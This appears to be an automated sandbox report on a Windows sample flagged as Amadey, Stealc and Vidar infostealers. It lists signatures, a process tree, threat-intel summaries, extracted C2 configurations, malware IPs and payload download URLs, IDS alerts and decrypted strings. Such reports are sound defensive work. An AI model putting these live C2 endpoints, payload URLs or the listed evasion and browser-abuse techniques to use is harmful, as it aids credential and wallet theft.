Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559537
MD5:	484a61fde611c70fb8c839df92cf985e
SHA1:	5d9560536a1b329eaa5b36381536f1082c0ff6da
SHA256:	29782f0ac19c69804afcfbb6186c7729cf956e9f13ea337537c777f532699598
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1556 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 484A61FDE611C70FB8C839DF92CF985E)

chrome.exe (PID: 4980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=1964,i,17461991951549720084,17036428689218554913,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8028 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7676 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2572,i,12105014856402712753,6797310360331818284,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8176 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKJKFBKKEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKKJKFBKKEC.exe (PID: 5624 cmdline: "C:\Users\user\DocumentsKKJKFBKKEC.exe" MD5: D349980D19605CCCFB15081F93C9DB31)

skotes.exe (PID: 8532 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: D349980D19605CCCFB15081F93C9DB31)

msedge.exe (PID: 7648 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6280 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8196 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6844 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6148 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6948 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8852 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D349980D19605CCCFB15081F93C9DB31)

skotes.exe (PID: 8144 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D349980D19605CCCFB15081F93C9DB31)

stealc_main1.exe (PID: 7644 cmdline: "C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe" MD5: DA5C79183DABF3510E9C6D76F7C5C087)

2bb39d7142.exe (PID: 7324 cmdline: "C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe" MD5: 91118D3B44B4A457CF5ACADC62B39B5D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000002.2597848529.000000000079B000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.2001835407.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.1993834531.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2471754491.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1980650444.00000000008A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2034171866.0000000000011000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2042469704.0000000000011000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1477007219.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.1968254423.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000000.2573308190.000000000079B000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2727748549.0000000000011000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2009781775.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 1556	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1556	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1556	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1556	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: stealc_main1.exe PID: 7644	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: stealc_main1.exe PID: 7644	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
30.0.stealc_main1.exe.770000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.stealc_main1.exe.770000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
23.2.DocumentsKKJKFBKKEC.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1556, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4980, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:52:15.197246+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49927	185.215.113.43	80	TCP
2024-11-20T16:52:28.055924+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49959	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:26.994606+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:26.873088+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.9	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:27.337102+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.9	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:28.828325+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.9	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:27.469284+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:26.405218+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:52:14.233342+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49922	31.177.109.184	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:52:05.908686+0100	2856147	1	A Network Trojan was detected	192.168.2.9	49903	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:52:13.806726+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.9	49910	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:52:10.586566+0100	2803305	3	Unknown Traffic	192.168.2.9	49915	31.41.244.11	80	TCP
2024-11-20T16:52:16.721153+0100	2803305	3	Unknown Traffic	192.168.2.9	49933	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T16:50:29.573066+0100	2803304	3	Unknown Traffic	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:50:51.763487+0100	2803304	3	Unknown Traffic	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:53.908287+0100	2803304	3	Unknown Traffic	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:55.195437+0100	2803304	3	Unknown Traffic	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:56.317039+0100	2803304	3	Unknown Traffic	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:59.870413+0100	2803304	3	Unknown Traffic	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:51:00.875501+0100	2803304	3	Unknown Traffic	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:51:06.753267+0100	2803304	3	Unknown Traffic	192.168.2.9	49832	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.177.109.184/8331a12a495c21b2.php7O	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe6	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe1	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php2L	Avira URL Cloud: Label: malware
Source: http://31.177.109.184/0XV	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpX#J	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe6l	Avira URL Cloud: Label: phishing
Source: http://31.177.109.184/ws	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllt	Avira URL Cloud: Label: malware
Source: http://31.177.109.184/NXX	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllY	Avira URL Cloud: Label: malware
Source: http://31.177.109.184/1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllZ	Avira URL Cloud: Label: malware
Source: http://31.177.109.184/	Avira URL Cloud: Label: malware
Source: http://31.177.109.184/5	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpM	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpta	Avira URL Cloud: Label: malware
Source: http://31.177.109.184/8331a12a495c21b2.php	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/stealc_main1.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php32	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php&	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000003.2001835407.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 19
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 12
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 20
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 24
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetProcAddress
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: LoadLibraryA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: lstrcatA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: OpenEventA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateEventA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CloseHandle
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Sleep
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: VirtualFree
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetSystemInfo
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: VirtualAlloc
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HeapAlloc
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetComputerNameA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: lstrcpyA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetProcessHeap
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetCurrentProcess
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: lstrlenA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ExitProcess
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetSystemTime
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: advapi32.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: gdi32.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: user32.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: crypt32.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetUserNameA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateDCA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetDeviceCaps
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ReleaseDC
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sscanf
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: VMwareVMware
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HAL9TH
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: JohnDoe
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DISPLAY
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: http://31.177.109.184
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: /8331a12a495c21b2.php
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: /1d85fd701b9057d3/
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CLOUDYTNEWS
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetFileAttributesA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HeapFree
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetFileSize
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GlobalSize
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: IsWow64Process
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Process32Next
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetLocalTime
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: FreeLibrary
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetVolumeInformationA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Process32First
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetLocaleInfoA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetModuleFileNameA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DeleteFileA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: FindNextFileA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: LocalFree
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: FindClose
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: LocalAlloc
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetFileSizeEx
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ReadFile
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SetFilePointer
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: WriteFile
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateFileA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: FindFirstFileA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CopyFileA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: VirtualProtect
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetLastError
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: lstrcpynA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: MultiByteToWideChar
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GlobalFree
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: WideCharToMultiByte
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GlobalAlloc
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: OpenProcess
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: TerminateProcess
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetCurrentProcessId
